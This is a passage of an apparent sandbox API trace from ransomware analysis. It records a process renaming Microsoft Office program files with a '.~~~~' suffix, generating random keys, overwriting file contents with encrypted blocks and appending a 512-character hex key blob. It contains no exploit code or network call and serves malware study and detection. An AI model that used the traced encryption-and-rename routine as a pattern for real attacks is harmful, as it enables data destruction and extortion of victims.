	[0133.741] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Invite or Link.one" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\invite or link.one"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\Invite or Link.one.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\invite or link.one.~~~~")) returned 1
	[0133.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0133.743] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0133.743] GetLastError () returned 0x0
	[0133.743] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a1258) returned 1
	[0133.744] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0133.744] CryptReleaseContext (hProv=0x3a1258, dwFlags=0x0) returned 1
	[0133.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0133.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0133.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0133.745] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25373489570) returned 1
	[0133.745] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb9284c50, dwHighDateTime=0x1d60e1e)) 
	[0133.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0133.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0133.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0133.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x38caf0
	[0133.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0133.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x38caf0 | out: hHeap=0x300000) returned 1
	[0133.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0133.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0133.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a190
	[0133.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0133.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x27fb9f8
	[0133.746] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0133.746] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0133.746] GetLastError () returned 0x0
	[0133.746] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0133.746] GetLastError () returned 0x0
	[0133.749] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0133.750] WriteFile (in: hFile=0x114, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0133.754] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0133.754] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0133.754] WriteFile (in: hFile=0x114, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0133.796] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0133.796] WriteFile (in: hFile=0x114, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0133.796] CloseHandle (hObject=0x114) returned 1
	[0133.844] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8690
	[0133.844] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\IPDSINTL.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ipdsintl.dll.~~~~")) returned 1
	[0133.946] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a8690 | out: hHeap=0x300000) returned 1
	[0133.946] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0133.946] GetLastError () returned 0x0
	[0134.069] CryptAcquireContextA (phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000) 
	[0134.069] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a10c0) returned 1
	[0134.070] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0134.070] CryptReleaseContext (hProv=0x3a10c0, dwFlags=0x0) returned 1
	[0134.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0134.070] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0134.070] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0134.071] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25406068884) returned 1
	[0134.071] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb95a4930, dwHighDateTime=0x1d60e1e)) 
	[0134.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0134.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0134.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0134.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824a98
	[0134.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.071] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824a98 | out: hHeap=0x300000) returned 1
	[0134.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.071] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0134.071] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.071] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4830
	[0134.071] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0134.071] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0134.072] GetLastError () returned 0x0
	[0134.072] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0134.072] GetLastError () returned 0x0
	[0134.077] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.077] WriteFile (in: hFile=0x140, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0134.082] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0134.082] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.082] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.088] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.088] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.088] CloseHandle (hObject=0x140) returned 1
	[0134.089] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4830
	[0134.089] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\meres.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MERES.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\meres.dll.~~~~")) returned 1
	[0134.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c4830 | out: hHeap=0x300000) returned 1
	[0134.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0134.091] GetLastError () returned 0x0
	[0134.093] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0fb0) returned 1
	[0134.094] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0134.094] CryptReleaseContext (hProv=0x3a0fb0, dwFlags=0x0) returned 1
	[0134.094] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0134.094] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0134.094] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0134.094] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25408429317) returned 1
	[0134.094] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb95f0bf0, dwHighDateTime=0x1d60e1e)) 
	[0134.094] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0134.094] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0134.094] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0134.094] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824ad0
	[0134.095] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.095] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824ad0 | out: hHeap=0x300000) returned 1
	[0134.095] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.095] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.095] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x39a190
	[0134.095] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.095] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4830
	[0134.095] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39a190 | out: hHeap=0x300000) returned 1
	[0134.095] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0134.095] GetLastError () returned 0x0
	[0134.095] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0134.095] GetLastError () returned 0x0
	[0134.116] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffff6480, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.116] WriteFile (in: hFile=0x140, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x9b80, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x26dfec0*=0x9b80, lpOverlapped=0x0) returned 1
	[0134.117] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0134.118] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.118] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.118] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.118] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.118] CloseHandle (hObject=0x140) returned 1
	[0134.119] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398de0
	[0134.120] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.rest.idx_dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MOR6INT.REST.IDX_DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mor6int.rest.idx_dll.~~~~")) returned 1
	[0134.122] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398de0 | out: hHeap=0x300000) returned 1
	[0134.122] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0134.122] GetLastError () returned 0x0
	[0134.123] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0f28) returned 1
	[0134.124] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0134.124] CryptReleaseContext (hProv=0x3a0f28, dwFlags=0x0) returned 1
	[0134.124] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0134.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0134.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0134.124] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25411429532) returned 1
	[0134.124] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb963ceb0, dwHighDateTime=0x1d60e1e)) 
	[0134.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0134.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0134.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0134.124] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824b40
	[0134.125] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.125] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824b40 | out: hHeap=0x300000) returned 1
	[0134.125] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.125] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.125] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0134.125] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.125] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0134.125] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0134.125] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0134.125] GetLastError () returned 0x0
	[0134.125] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0134.125] GetLastError () returned 0x0
	[0134.127] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xffffce88, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.127] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x3178, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x3178, lpOverlapped=0x0) returned 1
	[0134.130] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0134.130] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.130] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.130] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.130] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.130] CloseHandle (hObject=0xc4) returned 1
	[0134.130] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3b2160
	[0134.130] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mpxres.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\MPXRES.DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\mpxres.dll.~~~~")) returned 1
	[0134.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2160 | out: hHeap=0x300000) returned 1
	[0134.132] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0134.132] GetLastError () returned 0x0
	[0134.133] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a10c0) returned 1
	[0134.134] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0134.134] CryptReleaseContext (hProv=0x3a10c0, dwFlags=0x0) returned 1
	[0134.134] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0134.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0134.134] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0134.134] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=25412451450) returned 1
	[0134.134] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb963ceb0, dwHighDateTime=0x1d60e1e)) 
	[0134.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0134.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0134.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0134.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824b78
	[0134.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0134.135] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824b78 | out: hHeap=0x300000) returned 1
	[0134.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0134.135] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0134.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0134.135] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0134.135] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c4960
	[0134.135] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0134.135] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0134.135] GetLastError () returned 0x0
	[0134.136] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0134.136] GetLastError () returned 0x0
	[0134.141] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0134.141] WriteFile (in: hFile=0xc4, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x26dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0134.145] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0134.145] SetFilePointerEx (in: hFile=0xc4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0134.145] WriteFile (in: hFile=0xc4, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0134.148] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0134.148] WriteFile (in: hFile=0xc4, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0134.148] CloseHandle (hObject=0xc4) returned 1
	[0134.148] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398948
